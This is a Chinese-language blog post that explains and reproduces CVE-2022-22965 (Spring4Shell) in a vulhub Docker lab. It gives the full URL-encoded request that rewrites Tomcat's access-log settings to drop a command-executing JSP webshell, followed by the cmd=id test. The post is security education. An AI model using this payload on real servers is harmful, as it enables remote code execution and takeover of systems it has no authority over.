CVE-2022-22965
影响范围:
Spring Framework < 5.3.18
Spring Framework < 5.2.20
漏洞类型:
参数绑定漏洞
操作系统限制:
无
配置要求:
无
漏洞利用:
执行命令,可以进行反弹shell
利用原理:
利用Java特性,对象互通且允许通过点号.访问属性的属性,在JDK9中引入了Module,Spring没防住class.module.classLoader,可以直接通过参数访问到Tomcat的类加载器。在Tomcat中有一个AccessLogValve组件负责记录访问日志,可以通过参数绑定来修改其配置,directory(日志存放目录)、prefix(日志文件名)、suffix(日志后缀)、fileDateFormat(日期后缀)、pattern(日志格式),将目录修改到Web根目录,将日志文件名确定,日志后缀改成.jsp,将日期后缀清空,防止文件名额外添加上日期,将Java恶意代码注入到日志格式中。最后通过日志功能,当攻击者发送请求,将设定好的文件存放到Web根目录,内容即构造的恶意payload。pattern模块有一段代码为pattern=%25{参数1}i+其他代码+%25{参数2}i,其中两个参数要放到HTTP请求头,后面分别接上<%和%>//作为参数替换的内容,最后拼接成一段完整的jsp可执行代码。
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2022-22965
#拉取镜像
docker-compose up -d
访问http://公网:8080

用burpsuite抓取首页的数据包

发送到Repeater模块

在GET请求后添加payload
#注入的payload
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=final_shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
#Java外壳,加在Host下一行,即HTTP请求头
c1: <%
c2: %>//
返回响应码200

访问http://公网:8080/final_shell.jsp,返回响应码500说明成功注入jsp文件

添加参数cmd=id,即访问http://公网:8080/final_shell.jsp?cmd=id,返回页面如下

本文链接:
/archives/cve-2022-22965
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧